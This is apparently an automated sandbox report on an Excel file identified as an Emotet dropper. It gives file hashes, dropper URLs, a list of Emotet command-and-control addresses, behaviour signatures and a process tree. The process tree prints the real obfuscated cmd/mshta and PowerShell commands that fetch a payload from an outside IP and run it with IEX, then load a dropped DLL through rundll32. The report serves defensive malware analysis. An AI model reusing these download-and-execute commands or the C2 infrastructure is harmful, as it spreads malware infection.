Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20/01/2022, 17:59

General

  • Target

    9875825010045176.xls

  • Size

    142KB

  • MD5

    70caf460cf0c000b71bd37cc9e8d3065

  • SHA1

    d5cf4d2edfc7466a0292cec8e435839ee139bd7d

  • SHA256

    4627d88cb27d885555625326c40717630dbfc7708869fdde4d0064f2d59e5bb4

  • SHA512

    7d23f1f84fca0a9b99e745e29c7529bb85dba3a7a7f158cfecaac7d25a55d1a03ce8c4603a13bc3be11c07f6059776ba3938b9af18317b938d1d9e8142b026bf

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\9875825010045176.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:872
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:960
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:316
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1832
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1988
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:892
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1244
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mjegunqwafe\sdsmfovfnjxcjey.iig",xSucpjqixvti
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:824
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mjegunqwafe\sdsmfovfnjxcjey.iig",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:868

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/824-93-0x0000000000230000-0x0000000000256000-memory.dmp

      Filesize

      152KB

    • memory/868-104-0x00000000023E0000-0x0000000002406000-memory.dmp

      Filesize

      152KB

    • memory/868-102-0x0000000001EA0000-0x0000000001EC6000-memory.dmp

      Filesize

      152KB

    • memory/868-100-0x00000000004F0000-0x0000000000516000-memory.dmp

      Filesize

      152KB

    • memory/868-98-0x0000000000310000-0x0000000000336000-memory.dmp

      Filesize

      152KB

    • memory/868-96-0x0000000000240000-0x0000000000266000-memory.dmp

      Filesize

      152KB

    • memory/872-58-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

      Filesize

      8KB

    • memory/892-71-0x00000000006A0000-0x00000000006C6000-memory.dmp

      Filesize

      152KB

    • memory/1244-80-0x0000000000A70000-0x0000000000A96000-memory.dmp

      Filesize

      152KB

    • memory/1244-78-0x0000000000220000-0x0000000000246000-memory.dmp

      Filesize

      152KB

    • memory/1244-91-0x0000000002930000-0x0000000002956000-memory.dmp

      Filesize

      152KB

    • memory/1244-82-0x0000000001F70000-0x0000000001F96000-memory.dmp

      Filesize

      152KB

    • memory/1244-84-0x0000000002070000-0x0000000002096000-memory.dmp

      Filesize

      152KB

    • memory/1244-86-0x00000000025F0000-0x0000000002616000-memory.dmp

      Filesize

      152KB

    • memory/1244-88-0x00000000026A0000-0x00000000026C6000-memory.dmp

      Filesize

      152KB

    • memory/1588-55-0x0000000070DD1000-0x0000000070DD3000-memory.dmp

      Filesize

      8KB

    • memory/1588-54-0x000000002FDD1000-0x000000002FDD4000-memory.dmp

      Filesize

      12KB

    • memory/1588-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1588-57-0x0000000075191000-0x0000000075193000-memory.dmp

      Filesize

      8KB

    • memory/1588-128-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1832-64-0x0000000004BB0000-0x0000000005201000-memory.dmp

      Filesize

      6.3MB

    • memory/1832-62-0x0000000002350000-0x0000000002670000-memory.dmp

      Filesize

      3.1MB

    • memory/1832-63-0x0000000002350000-0x0000000002670000-memory.dmp

      Filesize

      3.1MB